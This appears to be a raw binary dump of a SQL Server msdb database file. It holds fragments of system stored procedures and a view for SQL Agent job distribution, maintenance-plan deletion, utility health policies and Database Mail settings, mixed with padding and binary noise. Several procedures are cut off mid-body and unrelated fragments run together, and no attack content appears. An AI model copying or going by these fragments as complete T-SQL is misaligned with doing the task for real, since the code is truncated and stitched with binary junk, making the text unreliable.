!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!K&GrM(@>
`<pMJK0H 8CREATE PROCEDURE sp_generate_target_server_job_assignment_sql
  @server_name     sysname = NULL, 
  @new_server_name sysname = NULL  -- Use this if the target server computer has been renamed
AS
BEGIN
  SET NOCOUNT ON

  -- Change server name to always reflect real servername or servername\instancename
  IF (@server_name IS NULL) OR (UPPER(@server_name collate SQL_Latin1_General_CP1_CS_AS) = '(LOCAL)')
    SELECT @server_name = CONVERT(sysname, SERVERPROPERTY('ServerName'))
  
  IF (@server_name IS NOT NULL) 
    SELECT @server_name = UPPER(@server_name)

  -- Verify the server name
  IF (@server_name <> UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName')))) AND
     (NOT EXISTS (SELECT *
                  FROM msdb.dbo.systargetservers
                  WHERE (UPPER(server_name) = @server_name)))
  BEGIN
    RAISERROR(14262, 16, 1, '@server_name', @server_name)
    RETURN(1) -- Failure
  END

  IF (EXISTS (SELECT *
              FROM msdb.dbo.sysjobservers    sjs,
                   msdb.dbo.systargetservers sts
              WHERE (sjs.server_id = sts.server_id)
                AND (UPPER(sts.server_name) = @server_name)))
  BEGIN
    -- Generate the SQL
    SELECT 'Execute this SQL to re-assign jobs to the target server' =
           'EXECUTE msdb.dbo.sp_add_jobserver @job_id = ''' + CONVERT(VARCHAR(36), sjs.job_id) +
           ''', @server_name = ''' +  ISNULL(@new_server_name, sts.server_name) + ''''
    FROM msdb.dbo.sysjobservers    sjs,
         msdb.dbo.systargetservers sts
    WHERE (sjs.server_id = sts.server_id)
      AND (UPPER(sts.server_name) = @server_name)
  END
  ELSE
    RAISERROR(14548, 10, 1, @server_name)

  RETURN(0) -- Success
END
0lX 78CREATE PROCEDURE sp_maintplan_delete_subplan
    @subplan_id       UNIQUEIDENTIFIER,
    @delete_jobs BIT                   = 1
AS
BEGIN

    DECLARE @retval     INT
    DECLARE @job        UNIQUEIDENTIFIER
    DECLARE @jobMsx     UNIQUEIDENTIFIER

    SET NOCOUNT ON
    SET @retval = 0

    -- Raise an error if the @subplan_id doesn't exist
    IF( NOT EXISTS(SELECT * FROM sysmaintplan_subplans WHERE subplan_id = @subplan_id))
    BEGIN
        DECLARE @subplan_id_as_char VARCHAR(36)
        SELECT @subplan_id_as_char = CONVERT(VARCHAR(36), @subplan_id)
        RAISERROR(14262, -1, -1, '@subplan_id', @subplan_id_as_char)
        RETURN(1)
    END


    BEGIN TRAN

    --Is there an Agent Job/Schedule associated with this subplan?
    SELECT @job = job_id, @jobMsx = msx_job_id
    FROM msdb.dbo.sysmaintplan_subplans 
    WHERE subplan_id = @subplan_id

    EXEC @retval = msdb.dbo.sp_maintplan_delete_log @subplan_id = @subplan_id
    IF (@retval <> 0)
    BEGIN
        ROLLBACK TRAN
        RETURN @retval
    END

    -- Delete the subplans table entry first since it has a foreign
    -- key constraint on its job_id existing in sysjobs.
    DELETE msdb.dbo.sysmaintplan_subplans 
    WHERE (subplan_id = @subplan_id)

    IF (@delete_jobs = 1)
    BEGIN
        --delete the local job associated with this subplan
        IF (@job IS NOT NULL)
        BEGIN
            EXEC @retval = msdb.dbo.sp_delete_job @job_id = @job, @delete_unused_schedule = 1
            IF (@retval <> 0)
            BEGIN
                ROLLBACK TRAN
                RETURN @retval
            END
        END

        --delete the multi-server job associated with this subplan.
        IF (@jobMsx IS NOT NULL)
        BEGIN 
            EXEC @retval = msdb.dbo.sp_delete_job @job_id = @jobMsx, @delete_unused_schedule = 1
            IF (@retval <> 0)
            BEGIN
                ROLLBACK TRAN
                RETURN @retval
            END
        END
    END

    COMMIT TRAN
    RETURN (0)
END
0BNd D8jh,0D/ %8((0))0S@ p8CREATE PROCEDURE [dbo].[sp_sysutility_ucp_add_policy] 
   @policy_name SYSNAME,
   @rollup_object_type INT,
   @rollup_object_urn NVARCHAR(4000),
   @target_type INT,
   @resource_type INT,
   @utilization_type INT,
   @utilization_threshold FLOAT,
   @resource_health_policy_id INT = NULL OUTPUT
WITH EXECUTE AS OWNER
AS
BEGIN

    DECLARE @retval INT
    DECLARE @null_column    SYSNAME
    
    SET @null_column = NULL

    IF (@policy_name IS NULL OR @policy_name = N'')
        SET @null_column = '@policy_name'
    ELSE IF (@rollup_object_type IS NULL OR @rollup_object_type < 1 OR @rollup_object_type > 3)
        SET @null_column = '@rollup_object_type'
    ELSE IF (@rollup_object_urn IS NULL OR @rollup_object_urn = N'')
        SET @null_column = '@rollup_object_urn'
    ELSE IF (@target_type IS NULL OR @target_type < 1 OR @target_type > 6)
        SET @null_column = '@target_type'
    ELSE IF (@resource_type IS NULL OR @resource_type < 1 OR @resource_type > 5)
        SET @null_column = '@resource_type'
    ELSE IF (@utilization_type IS NULL OR @utilization_type < 1 OR @utilization_type > 2)
        SET @null_column = '@utilization_type'
    ELSE IF (@utilization_threshold IS NULL OR @utilization_threshold < 0 OR @utilization_threshold > 100)
        SET @null_column = '@utilization_threshold'       
    
    IF @null_column IS NOT NULL
    BEGIN
        RAISERROR(14043, -1, -1, @null_column, 'sp_sysutility_ucp_add_policy')
        RETURN(1)
    END

    IF NOT EXISTS (SELECT * FROM dbo.syspolicy_policies WHERE name = @policy_name)
    BEGIN
        RAISERROR(14027, -1, -1, @policy_name)
        RETURN(1)
    END

    INSERT INTO dbo.sysutility_ucp_health_policies_internal(policy_name, rollup_object_type, rollup_object_urn, target_type, resource_type, utilization_type, utilization_threshold)
    VALUES(@policy_name, @rollup_object_type, @rollup_object_urn, @target_type, @resource_type, @utilization_type, @utilization_threshold)
    
    SELECT @retval = @@error
    SET @resource_health_policy_id = SCOPE_IDENTITY()
    RETURN(@retval)
END
0I  8CREATE VIEW dbo.sysutility_ucp_dac_health 
AS
SELECT t.dac_name
	   , t.dac_server_instance_name
	   , (SELECT val FROM dbo.fn_sysutility_ucp_get_aggregated_health(t.is_volume_space_over_utilized, t.is_volume_space_under_utilized)) volume_space_health_state  
	   , (SELECT val FROM dbo.fn_sysutility_ucp_get_aggregated_health(t.is_computer_processor_over_utilized, t.is_computer_processor_under_utilized)) computer_processor_health_state  
	   , (SELECT val FROM dbo.fn_sysutility_ucp_get_aggregated_health(t.is_file_space_over_utilized, t.is_file_space_under_utilized)) file_space_health_state  
	   , (SELECT val FROM dbo.fn_sysutility_ucp_get_aggregated_health(t.is_dac_processor_over_utilized, t.is_dac_processor_under_utilized)) dac_processor_health_state  
	   , CASE WHEN (is_volume_space_over_utilized > 0) THEN CONVERT(BIT, 1) ELSE CONVERT(BIT, 0) END AS contains_over_utilized_volumes
	   , CASE WHEN (is_volume_space_under_utilized > 0) THEN CONVERT(BIT, 1) ELSE CONVERT(BIT, 0) END AS contains_under_utilized_volumes 
	   , CASE WHEN (is_file_space_over_utilized > 0) THEN CONVERT(BIT, 1) ELSE CONVERT(BIT, 0) END AS contains_over_utilized_filegroups
	   , CASE WHEN (is_file_space_under_utilized > 0) THEN CONVERT(BIT, 1) ELSE CONVERT(BIT, 0) END AS contains_under_utilized_filegroups
	   , t.is_policy_overridden
	   , t.processing_time
FROM msdb.dbo.sysutility_ucp_dac_health_internal AS t
WHERE t.set_number = (SELECT latest_health_state_id FROM [msdb].[dbo].[sysutility_ucp_processing_state_internal])
type_stream)

    SELECT @retval = @@error
    RETURN(@retval)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!@@Pw`< {a
 sts.server_name,
               CASE @operation_code WHEN 3 -- Delete
                                      THEN sjv.name
                                      ELSE NULL
                                    END
        FROM sysjobs_view     sjv,
             sysjobservers    sjs,
             systargetservers sts
        WHERE (sjv.job_id = @job_id)
          AND (sjv.job_id = sjs.job_id)
          AND (sjs.server_id = sts.server_id)
          AND (sjs.server_id <> 0) -- We want to exclude local jobs
          AND ((@specific_target_server_id IS NULL) OR (sjs.server_id = @specific_target_server_id))
        SELECT @instructions_posted = @@rowcount
      END
    END
    ELSE
    BEGIN
      RAISERROR(14266, -1, -1, '@operation_code', 'INSERT, UPDATE, DELETE, START, STOP')
      RETURN(1) -- Failure
    END
  END
  
  
  -- SCHEDULE specific processing for INSERT, UPDATE or DELETE schedule operations
  -- All msx jobs that use the specified @schedule_uid will be notified with an Insert operation. 
  -- This will cause agent to reload all schedules for each job. 
  -- This is compatible with the legacy shiloh servers that don't know about reusable schedules
  IF (@object_type = 'SCHEDULE')
  BEGIN
    -- Validate the schedule
    -- Check if the schedule exists
    IF (NOT EXISTS (SELECT *
                    FROM msdb.dbo.sysschedules_localserver_view
                    WHERE (schedule_uid = @schedule_uid)))
    BEGIN
      SELECT @schedule_uid_as_char = CONVERT(VARCHAR(36), @schedule_uid)
      
      RAISERROR(14262, -1, -1, '@schedule_uid', @schedule_uid_as_char)
      RETURN(1) -- Failure
    END

    -- If this schedule is only used locally (no target servers) then there's nothing to do
    IF (NOT EXISTS (SELECT *
                    FROM msdb.dbo.sysschedules    s,
                        msdb.dbo.sysjobschedules  js,
                        msdb.dbo.sysjobs_view     sjv,
                        msdb.dbo.sysjobservers    sjs,
                        msdb.dbo.systargetservers sts
                    WHERE (s.schedule_uid = @schedule_uid)
                    AND (s.schedule_id = js.schedule_id)
                    AND (sjv.job_id = js.job_id)
                    AND (sjv.job_id = sjs.job_id)
                    AND (sjs.server_id = sts.server_id)
                    AND (sjs.server_id <> 0)))                        
    BEGIN
      RETURN(0)
    END

    -- Generate the sysdownloadlist row(s)...
    IF (@operation_code = 1) OR  -- Insert
       (@operation_code = 2) OR  -- Update
       (@operation_code = 3)     -- Delete
    BEGIN
      -- Insert specific schedule into sysdownloadlist 
      -- We need to create a sysdownloadlist JOB INSERT record for each job that runs the schedule
     INSERT INTO msdb.dbo.sysdownloadlist
         (source_server,
          operation_code,
          object_type,
          object_id,
          target_server)
     SELECT @local_machine_name,
          1,             -- 1 means 'Insert'
          1,             -- 1 means 'JOB'
          sjv.job_id,
          sts.server_name
     FROM msdb.dbo.sysschedules     s,
           msdb.dbo.sysjobschedules  js,
           msdb.dbo.sysjobs_view     sjv,
         msdb.dbo.sysjobservers    sjs,
         systargetservers          sts
     WHERE (s.schedule_id = js.schedule_id)
        AND (js.job_id = sjv.job_id)
        AND (sjv.job_id = sjs.job_id)
      AND (sjs.server_id = sts.server_id)
        AND (s.schedule_uid = @schedule_uid)
      AND (sjs.server_id <> 0)            -- We want to exclude local jobs
      AND ((@specific_target_server_id IS NULL) OR (sjs.server_id = @specific_target_server_id))

      SELECT @instructions_posted = @@rowcount


    END
    ELSE
    BEGIN
      RAISERROR(14266, -1, -1, '@operation_code', 'UPDATE, DELETE')
      RETURN(1) -- Failure
    END
  END
  

  -- Server-specific processing...
  IF (@object_type = 'SERVER')
  BEGIN
    -- Generate the sysdownloadlist row(s)...
    IF (@operation_code = 6) OR  -- ReEnlist
       (@operation_code = 7) OR  -- Defect
       (@operation_code = 8) OR  -- Synchronize time (with MSX)
       (@operation_code = 9)     -- Set MSX polling interval (in seconds)
    BEGIN
      IF (@operation_code = 8)
      BEGIN
        EXECUTE master.dbo.xp_regread N'HKEY_LOCAL_MACHINE',
                                      N'SYSTEM\CurrentControlSet\Control\TimeZoneInformation',
                                      N'Bias',
                                      @msx_time_zone_adjustment OUTPUT,
                                      N'no_output'
        SELECT @msx_time_zone_adjustment = -ISNULL(@msx_time_zone_adjustment, 0)
      END

      INSERT INTO msdb.dbo.sysdownloadlist
            (source_server,
             operation_code,
             object_type,
             object_id,
             target_server)
      SELECT @local_machine_name,
             @operation_code,
             2,                  -- 2 means 'SERVER'
             CASE @operation_code
               WHEN 8 THEN CONVERT(UNIQUEIDENTIFIER, CONVERT(BINARY(16), -(@msx_time_zone_adjustment - sts.time_zone_adjustment)))
               WHEN 9 THEN CONVERT(UNIQUEIDENTIFIER, CONVERT(BINARY(16), @value))
               ELSE CONVERT(UNIQUEIDENTIFIER, 0x00)
             END,
             sts.server_name
      FROM systargetservers sts
      WHERE ((@specific_target_server_id IS NULL) OR (sts.server_id = @specific_target_server_id))
      SELECT @instructions_posted = @@rowcount
    END
    ELSE
    BEGIN
      RAISERROR(14266, -1, -1, '@operation_code', 'RE-ENLIST, DEFECT, SYNC-TIME, SET-POLL')
      RETURN(1) -- Failure
    END
  END


  -- Report number of rows inserted
  IF (@object_type = 'JOB') AND
     (@job_id = CONVERT(UNIQUEIDENTIFIER, 0x00)) AND
     (@instructions_posted = 0) AND
     (@specific_target_server_id IS NOT NULL)
    RAISERROR(14231, 0, 1, '@specific_target_server', @specific_target_server)
  ELSE
    RAISERROR(14230, 0, 1, @instructions_posted, @operation)

  -- Delete any [downloaded] instructions that are over the registry-defined limit
  IF (@specific_target_server IS NOT NULL)
    EXECUTE msdb.dbo.sp_downloaded_row_limiter @specific_target_server

  RETURN(0) -- 0 means success
END
_DWORD',
                                            @use_databasemail
	
      SET @notify_sqlagent_dbmail_settings_update = 1
  END
  
  IF(@databasemail_profile IS NOT NULL)
  BEGIN
     EXECUTE master.dbo.xp_instance_regwrite N'HKEY_LOCAL_MACHINE',
                                            N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                            N'DatabaseMailProfile',
                                            N'REG_SZ',
                                            @databasemail_profile
	
      SET @notify_sqlagent_dbmail_settings_update = 1
  END
  
  IF(@notify_sqlagent_dbmail_settings_update = 1 )
  BEGIN
        -- Notify SQL Agent that Databasemail settings for SQL Agent was changed. force a reload
        EXECUTE msdb.dbo.sp_sqlagent_notify @op_type     = N'M'
  END
    
  RETURN(0) -- Success
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!i`!b	ON6&n28sysschedulesdbo6C"6:sysproxysubsystem6g]$:@systargetserversdbo6.A&(.sysjobsdbo6IQTZsysschedules_localserver_viewdbo6;PT4:sysjobhistorydbo6^p:@systargetserversdbo6Mmq<sp_verify_job_time6kr:@sysnotificationsdbo6qs.4sysproxiesdbo6C}t.4sysproxiesdbo6ku@Fxp_instance_regreaddbo6!evX^sysmail_drop_user_credential_spdbo6//wPsyscollector_collector_types6`d8X28sysschedulesdbo6rUYPVsystargetservergroupmembersdbo6"wZ6sysssispackages6Mޅ[28sysjobs_viewdbo6b1\4:xp_getnetnamedbo6:]fsp_syscollector_event_oncollectionstart6LR^<sysmail_servertype6L_2syssubsystems6!	4:xp_msx_enlistdbo6TLV\syspolicy_target_sets_internaldbo6Jb`fsysalerts_performance_counters_viewdbo634FLsysmaintplan_logdetaildbo6-4:sysjobhistorydbo6}%@PVsyspolicy_policies_internaldbo67\(.sysjobsdbo6UFNsp_maintplan_delete_subplan6

 xHNsysutility_ucp_logfilesdbo6!y\bsysutility_ucp_mi_health_internaldbo!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!%aO5AQ#3O[
	q`[bJl8e_0&n	@6<Dsysschedulesdbomsdb0&n	@X^fsysschedules_localserver_viewdbomsdb0&n	p:systargetservers0&n	@>DLsystargetserversdbomsdb0&n	@28Dxp_regreaddbomaster0&n
	@8>Jxp_getnetnamedbomaster0Jb	`bhsysalerts_performance_counters_viewdbo0>	@DJVxp_instance_regreaddbomaster0>	@BHPsp_verify_job_timedbomsdb0>	@8>Fsyscategoriesdbomsdb0>	@06>sysalertsdbomsdb0>	@8>Fsysjobserversdbomsdb0>	@BHPsp_verify_job_datedbomsdb0>	pLsp_verify_job_identifiers0>	@\bjsp_verify_performance_conditiondbomsdb0>		@BHPsp_sqlagent_notifydbomsdb02	@6<Dsysjobs_viewdbomsdb02	@8>Fsyscategoriesdbomsdb02	@LRZsp_is_sqlagent_startingdbomsdb02	p8sp_verify_alert02	@06>sysalertsdbomsdb02	@BHPsp_sqlagent_notifydbomsdb0'	p2sysjobs_view0'	@<BJsp_update_alertdbomsdb0'	@28@systaskidsdbomsdb0'	pDsysmaintplan_subplans0'	@DJRsysdbmaintplan_jobsdbomsdb0'	p>sysmaintplan_plans0'	pDsp_ssis_deletepackage0'	@06>sysalertsdbomsdb0'		pPsp_maintplan_delete_subplan0'
